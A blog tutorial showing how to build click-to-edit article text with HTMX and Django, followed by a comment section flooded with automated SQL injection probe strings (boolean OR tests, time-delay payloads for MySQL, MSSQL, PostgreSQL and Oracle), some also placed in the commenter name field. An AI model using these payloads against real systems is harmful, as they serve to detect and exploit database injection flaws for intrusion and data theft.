HTMX And Django - Click to edit

/ #HTMX


Learn how to use Htmx with Django to create a text you can click to edit without refreshing the browser.

Typically when you build a web application with Django, you need to refresh the browser everytime you want to do something.

With Htmx, you can click to edit text without refreshing the browser.

In this tutorial, we'll learn how to use Htmx with Django to create a text you can click to edit without refreshing the browser.

Let's say you have a Django project running. We can then begin by creating a view that shows an article:

def show(request, pk):
    article = Article.objects.get(pk=pk)
    return render(request, 'article/show.html', {'article': article})

With the view ready, we can create a template that displays the article:

{% extends 'core/base.html' %}

{% block content %}
    <div id="article">
        {% include 'article/partials/article.html' %}
    </div>
{% endblock %}

So instead of having all of the html here, I want to put the rendering part into a partial template. This makes it easier to re-use together with htmx.

The 'article.html' file can look like this:

<div hx-target="this" hx-swap="outerHTML">
    <h1>{{ article.title }}</h1>
    <p>{{ article.content }}</p>

    <button hx-get="/article/{{ article.pk }}/edit/">Edit</button>
</div>

This is not the most complicated template, it will just show the title and content of the article.

If you want, you can test this out in the browser. It will just show an article and nothing more.

Let's take it to the next step, and create a new partial file for the form. Create a new file called 'form.html' in the 'article/partials' folder.

The 'form.html' file can look like this:

<form hx-post="/article/{{ article.pk }}/edit/" hx-target="this" hx-swap="outerHTML">
    {% csrf_token %}
    <input type="text" name="title" placeholder="Title" value="{{ article.title }}" />
    <textarea name="content" placeholder="Content">{{ article.content }}</textarea>
    <button type="submit">Save</button>
</form>

And then, last but not least, we need a view to render the form and to handle the submission. Inside views.py, add the following view:

def edit(request, pk):
    article = Article.objects.get(pk=pk)

    if request.method == 'POST':
        article.title = request.POST['title']
        article.content = request.POST['content']
        article.save()
        return render(request, 'article/partials/article.html', {'article': article})

    return render(request, 'article/partials/form.html', {'article': article})

Btw, this is not best practice when it comes to handling forms in Django. This is just for showing how it _can_ be done. You should always be using the build in form functionality in Django.

Now, if you test this out in the browser, you should be able to click the 'Edit' button and see the form.

And if you fill in the form and submit it, the article should be updated, and the article details should be shown again with the updated values.

Comments

Akila | Dec 31, 24 07:07

Nice

Stein Ove Helset | Jan 01, 25 07:52

Thanks Akila :-D

EFSArCBy | Jul 02, 26 07:31

555

EFSArCBy | Jul 02, 26 07:31

555

EFSArCBy | Jul 02, 26 07:31

555

EFSArCBy | Jul 02, 26 07:31

-1 OR 2+351-351-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 07:31

-1 OR 2+646-646-1=0+0+0+1

EFSArCBy | Jul 02, 26 07:31

-1' OR 2+739-739-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 07:31

-1' OR 2+373-373-1=0+0+0+1 or '2wpexdlY'='

EFSArCBy | Jul 02, 26 07:31

-1" OR 2+282-282-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 07:31

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 02, 26 07:31

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 02, 26 07:31

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 02, 26 07:31

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 02, 26 07:31

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:31

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:31

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:31

555NH67oiM1'; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:31

555-1 OR 355=(SELECT 355 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:31

555-1) OR 186=(SELECT 186 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:31

555-1)) OR 883=(SELECT 883 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:31

555aeMeNA9V' OR 34=(SELECT 34 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:31

555N6b4oWIR') OR 927=(SELECT 927 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:31

555vMc09DzV')) OR 313=(SELECT 313 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:31

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 02, 26 07:31

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 02, 26 07:31

555

EFSArCBy | Jul 02, 26 07:31

555'"

EFSArCBy | Jul 02, 26 07:31

@@WCLIq

EFSArCBy | Jul 02, 26 07:31

555

EFSArCBy | Jul 02, 26 07:31

555

EFSArCBy | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:32

555

-1 OR 2+284-284-1=0+0+0+1 -- | Jul 02, 26 07:32

555

-1 OR 2+10-10-1=0+0+0+1 | Jul 02, 26 07:32

555

-1' OR 2+882-882-1=0+0+0+1 -- | Jul 02, 26 07:32

555

-1' OR 2+283-283-1=0+0+0+1 or 'JTSzFGcF'=' | Jul 02, 26 07:32

555

-1" OR 2+920-920-1=0+0+0+1 -- | Jul 02, 26 07:32

555

if(now()=sysdate(),sleep(15),0) | Jul 02, 26 07:32

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 07:32

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 07:32

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 07:32

555

EFSArCBygUhRzRbD'; waitfor delay '0:0:15' -- | Jul 02, 26 07:32

555

EFSArCByuUGQ1f6R' OR 343=(SELECT 343 FROM PG_SLEEP(15))-- | Jul 02, 26 07:32

555

EFSArCBy9da2S4ui') OR 551=(SELECT 551 FROM PG_SLEEP(15))-- | Jul 02, 26 07:32

555

EFSArCByz5wqT4IF')) OR 540=(SELECT 540 FROM PG_SLEEP(15))-- | Jul 02, 26 07:32

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:32

555

EFSArCBy'" | Jul 02, 26 07:32

555

@@Z9ZBp | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:32

555

Add comment

Info

Please log in to comment!

Newsletter

Subscribe to my weekly newsletter. One time per week I will send you a short summary of the tutorials I have posted in the past week.